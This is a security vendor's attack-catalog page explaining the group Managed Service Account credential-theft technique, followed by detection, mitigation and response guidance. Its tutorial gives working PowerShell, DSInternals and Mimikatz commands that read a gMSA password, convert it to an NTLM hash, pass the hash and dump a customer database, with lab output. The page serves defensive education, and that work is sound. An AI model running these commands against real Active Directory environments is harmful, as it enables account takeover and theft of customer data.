1. Home
  2. Resources
  3. Attack Catalog
  4. Group Managed Service Accounts Attack

Group Managed Service Accounts Attack

Active Directory
Credential Access
Privilege Escalation
Credential Theft

Managed Service Accounts (MSAs), now known as standalone Managed Service Accounts (sMSAs), were introduced in Windows Server 2008R2 and Windows 7. They provide Active Directory-managed automatic password management and delegated management for service accounts on a single system. For Windows Server 2012 and Windows 8, Microsoft added group Managed Service Accounts (gMSAs), which supercede sMSAs and add the capability of using the same service account across multiple systems.

Service accounts are a frequent target for adversaries because they can provide the privileges needed to complete their mission. The passwords for gMSAs are stored in Active Directory in the msDS-ManagedPassword attribute of the gMSA object. Adversaries can leverage compromised privileges to exploit a gMSA by accessing its password. For example, the computer account (i.e., process running as NT AUTHORITY\SYSTEM) for any system running a service under the gMSA identity is able to access the password.

Threat Summary
Target:
Active Directory
Tools:
Mimikatz, DSInternals
ATT&CK® Tactic:
Credential Access
ATT&CK Technique:
N/A
Difficulty
Detection:
Low
Mitigation:
Medium
Response:
Medium

Attack Tutorial: How Group Managed Service Accounts Attack Works

STEP 1

Discover an exploitable gMSA

First, an adversary must identify gMSAs that they can exploit. An adversary must have compromised either an account with permissions to modify the gMSA's permissions or an account with permissions to read the gMSA's password. (The computer account for any system legitimately using the gMSA has the ability to read the password from Active Directory. Any process running as the NT AUTHORITY\SYSTEM user is therefore able to access the gMSA's password.)

In this example, an adversary has exploited a vulnerability in a popular content management system (CMS) that permits remote code execution on the web server. They discovered that the poorly configured CMS is running as NT AUTHORITY\SYSTEM and enumerate the identities under which other websites on the server are running, finding the SvcCustomerWeb$ gMSA. 
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> Import-Module WebAdministration
PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {
>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |
>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }

AppPoolName             identityType            userName
-----------             ------------            --------
.NET v4.5               ApplicationPoolIdentity
.NET v4.5 Classic       ApplicationPoolIdentity
ContentManagementSystem LocalSystem
CustomerWebsite         SpecificUser            SvcCustomerWeb$
DefaultAppPool          ApplicationPoolIdentity

PS C:\Windows\system32>
STEP 2

Compromise the gMSA password

Next, the adversary needs to render the gMSA's 256-byte password (the equivalent of 256 characters), which is composed entirely of random bits, into a usable format. They can either convert the random bytes into a usable password or convert it to a NTLM hash, which can then be used with Pass-the-Hash or Overpass-the-Hash techniques. The DSInternals PowerShell module provides the ConvertFrom-ADManagedPasswordBlob and ConvertTo-NTHash cmdlets for these purposes. 
PS C:\Windows\system32> Install-Module -Name DSInternals -Force
PS C:\Windows\system32> Import-Module DSInternals
# Acquire gMSA password
PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')
# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:
# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt
PS C:\Windows\system32> $gMSA.CurrentPassword
ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌  ힾ낝૕鋹员㾶񣉰쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ
# Obtain NTLM hash
PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword
9a9865e4a0412c6a726ec31568cbebc7
PS C:\Windows\system32>
STEP 3

Use the gMSA password for further objectives

The adversary can now use the compromised credentials to further their objectives. In this example, the adversary uses overpass-the-hash to authenticate to the customer database and exfiltrate a list of customers, their contact information, and their password hashes. 
PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit
# A new command prompt opens
C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"
+--------------------------+
| (No column name)         |
|--------------------------|
| DOMAIN\SvcCustomerWeb$   |
+--------------------------+
(1 row affected)
+--------------+-------------+-----------+----------------------------+------------------------------------------+
| customerId   | givenName   | surName   | email                      | password                                 |
|--------------+-------------+-----------+----------------------------+------------------------------------------|
| 1            | Bob         | Jones     | bjones@stealthbitslab.com  | 6367c48dd193d56ea7b0baad25b19455e529f5ee |
| 2            | Suzy        | Smith     | smith@stealthbitslab.com   | 5d04c4864322580108f66e0e64c89a9aa31aef56 |
| 3            | Amy         | Hawkes    | ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |
| 4            | Jill        | Paul      | jpaul@stealthbitslab.com   | 3e8e521392424218e6e1b12c6d8803ba0a8645cf |
+--------------+-------------+-----------+----------------------------+------------------------------------------+
(4 rows affected)

Detect, Mitigate and Respond

Detect
Mitigate
Respond
Difficulty: Low
It can be difficult to detect all unauthorized reads of the msDS-ManagedPassword attribute, particularly if they occur as the computer account. However, regular users should never access gMSA passwords, so monitoring Active Directory event logs for access to gMSA passwords by users other than computer accounts is an important detection. Furthermore, monitoring gMSA accounts for changes to permissions (the msDS-GroupMSAMembership attribute) for which entities can access the password is also important.
Event ID 4662 in the subcategory Audit Directory Service Access audits basic information about users performing operations within Active Directory for events specified in an object's system access control list (SACL).
Using this event, it is possible to see when a user reads a gMSA password. To identify these events, filter the event logs for:
  • Operation Type: Object Access
  • Accesses: Read Property
  • Properties: Includes the GUID {e362ed86-b728-0842-b27d-2dea7a9df218} This is the GUID of the msDS-ManagedPassword attribute.
Difficulty: Medium
Mitigating the risk of gMSA exploitation is ultimately about defending Active Directory privileges that allow an adversary to modify gMSA permissions or read the password, and adopting other best practices to prevent infiltration:
  • Routinely audit permissions to modify gMSA accounts and aggressively embrace the principle of least privilege.
  • Routinely audit the membership of the msDS-GroupMSAMembership attribute on each gMSA and ensure that only authorized computer accounts are granted privileges to access the password.
  • Alert, in real-time, on changes to gMSA permissions.
Difficulty: Medium
Should a user other than an authorized computer account retrieve the gMSA password or an unauthorized change in gMSA permissions occur, there are several actions one can take to immediately respond:
  • Activate the incident response process and alert the response team.
  • Reset the password of the user who performed the action and optionally disable that user in order to a) force instantaneous replication to all domain controllers and b) disrupt the adversary's use of that account.
  • Reset the password for the affected gMSA.
  • Quarantine the impacted machines for forensic investigation, as well as eradication and recovery activities.
Detect
Difficulty: Low
It can be difficult to detect all unauthorized reads of the msDS-ManagedPassword attribute, particularly if they occur as the computer account. However, regular users should never access gMSA passwords, so monitoring Active Directory event logs for access to gMSA passwords by users other than computer accounts is an important detection. Furthermore, monitoring gMSA accounts for changes to permissions (the msDS-GroupMSAMembership attribute) for which entities can access the password is also important.
Event ID 4662 in the subcategory Audit Directory Service Access audits basic information about users performing operations within Active Directory for events specified in an object's system access control list (SACL).
Using this event, it is possible to see when a user reads a gMSA password. To identify these events, filter the event logs for:
  • Operation Type: Object Access
  • Accesses: Read Property
  • Properties: Includes the GUID {e362ed86-b728-0842-b27d-2dea7a9df218} This is the GUID of the msDS-ManagedPassword attribute.
Mitigate
Difficulty: Medium
Mitigating the risk of gMSA exploitation is ultimately about defending Active Directory privileges that allow an adversary to modify gMSA permissions or read the password, and adopting other best practices to prevent infiltration:
  • Routinely audit permissions to modify gMSA accounts and aggressively embrace the principle of least privilege.
  • Routinely audit the membership of the msDS-GroupMSAMembership attribute on each gMSA and ensure that only authorized computer accounts are granted privileges to access the password.
  • Alert, in real-time, on changes to gMSA permissions.
Respond
Difficulty: Medium
Should a user other than an authorized computer account retrieve the gMSA password or an unauthorized change in gMSA permissions occur, there are several actions one can take to immediately respond:
  • Activate the incident response process and alert the response team.
  • Reset the password of the user who performed the action and optionally disable that user in order to a) force instantaneous replication to all domain controllers and b) disrupt the adversary's use of that account.
  • Reset the password for the affected gMSA.
  • Quarantine the impacted machines for forensic investigation, as well as eradication and recovery activities.
RELATED READING
Attacking Active Directory Group Managed Service Accounts
Retrieving Cleartext GMSA Passwords from Active Directory
Securing gMSA Passwords
Fire Image Featured Solutions
Netwrix Threat Manager
Netwrix StealthINTERCEPT
OTHER ATTACKS
Pass-the-Hash

MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.